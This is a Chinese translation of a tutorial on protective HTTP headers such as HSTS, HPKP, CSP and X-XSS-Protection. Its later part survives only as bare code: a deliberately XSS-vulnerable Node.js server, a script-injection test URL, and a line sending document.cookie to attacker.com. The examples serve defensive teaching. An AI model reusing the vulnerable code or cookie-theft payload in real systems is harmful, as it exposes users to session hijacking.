摘要： 安全是个大学问。

• 原文：Web 应用安全性: 使用这些 HTTP 头保护 Web 应用
• 作者：前端小智

Fundebug经授权转载，版权归原作者所有。

这是关于web安全性系列文章的第 三 篇，其它的可点击以下查看：

• Web 应用安全性: 浏览器是如何工作的
• Web 应用安全性: HTTP简介

目前，浏览器已经实现了大量与安全相关的头文件，使攻击者更难利用漏洞。接下来的讲解它们的使用方式、它们防止的攻击类型以及每个头后面的一些历史。

HSTS（HTTP Strict Transport Security）国际互联网工程组织IETF正在推行一种新的Web安全协议，HSTS 的作用是强制客户端（如浏览器）使用 HTTPS 与服务器创建连接。

自 2012 年底以来，HTTPS 无处不在的支持者发现，由于 HTTP 严格传输安全性，强制客户端总是使用 HTTP 协议的安全版本更容易：一个非常简单的设置 Strict-Transport-Security: max-age=3600 将告诉浏览器 对于下一个小时（3600秒），它不应该与具有不安全协议的应用程序进行交互。

当用户尝试通过 HTTP 访问由 HSTS 保护的应用程序时，浏览器将拒绝继续访问，自动将 http:// 的 URL 转换为 https://。

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代码在本地测试这个。你需要遵循 README 中的说明(它们通过 mkcert 工具在你的电脑上的localhost 安装可信的 SSL 证书)，然后尝试打开 https://localhost:7889。

在这个示例中有两个服务器，一个 HTTPS 服务器监听 7889，另一个 HTTP 服务器监听端口 7888。当你访问 HTTPS 服务器时，它总是试图重定向到 HTTP 版本，这将正常工作，因为 HTTPS 服务器上没有 HSTS 策略。如果在 URL 中添加 hsts=on 参数，浏览器将强制将重定向中的链接转换为 https:// 版本。由于 7888 上的服务器只支持 http，所以最终将看到类似于这样的页面。

你可能想知道用户第一次访问你的网站时会发生什么，因为事先没有定义 HSTS 策略：攻击者可能会欺骗用户访问你网站的 http:// 版本并在那里进行攻击，所以仍然存在问题，因为 HSTS 是对首次使用机制的信任，它试图做的是确保，一旦你访问过网站，浏览器就知道后续交互必须使用 HTTPS。

解决这个缺点的一个方法是维护一个海量的数据库，其中包含了执行 HSTS 的网站，这是Chrome 通过 hstspreload.org 实现的。你必须首先设置安全的方案，然后访问网站并检查它是否符合添加到数据库的条件。例如，我们可以在这看到 Facebook 榜上有名。

将你的的网站提交到这个列表中，就可以提前告诉浏览器你的网站使用 HSTS，这样即使客户端和服务器之间的第一次交互也将通过一个安全通道进行。但是这是有代价的，因为你确实需要投入到 HSTS 中。如果你希望你的网站从列表中删除，这对浏览器厂商来说不是件容易的事:

请注意，预加载列表中的内容无法轻松撤消。

域名可以被移除，但是 Chrome 的更新需要几个月的时间才能让用户看到变化，我们不能保证其他浏览器也一样。不要请求包含，除非您确定能够长期支持整个站点及其所有子域的HTTPS。

这是因为供应商不能保证所有用户都使用最新版本的浏览器，而你的站点已从列表中删除。仔细考虑，并根据你对 HSTS 的信心程度和长期支持 HSTS 的能力做出决定。

HTTP 公钥固定是一种安全机制，它的工作原理是通过响应头或者 标签告诉浏览器当前网站的证书指纹，以及过期时间等其它信息。未来一段时间内，浏览器再次访问这个网站必须验证证书链中的证书指纹，如果跟之前指定的值不匹配，即便证书本身是合法的，也必须断开连接。

目前 Firefox 35+ 和 Chrome 38+ 已经支持， HPKP 基本格式如下：

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

HTTP/1.1 200 OK
Content-Type: application/json
X-frame-Options: DENY
...

var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:
` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)

  
    
Search The Web
    

      
      
    
    

      __RESULTS__
    
  

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

window.location = `attacker.com/${document.cookie}`

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector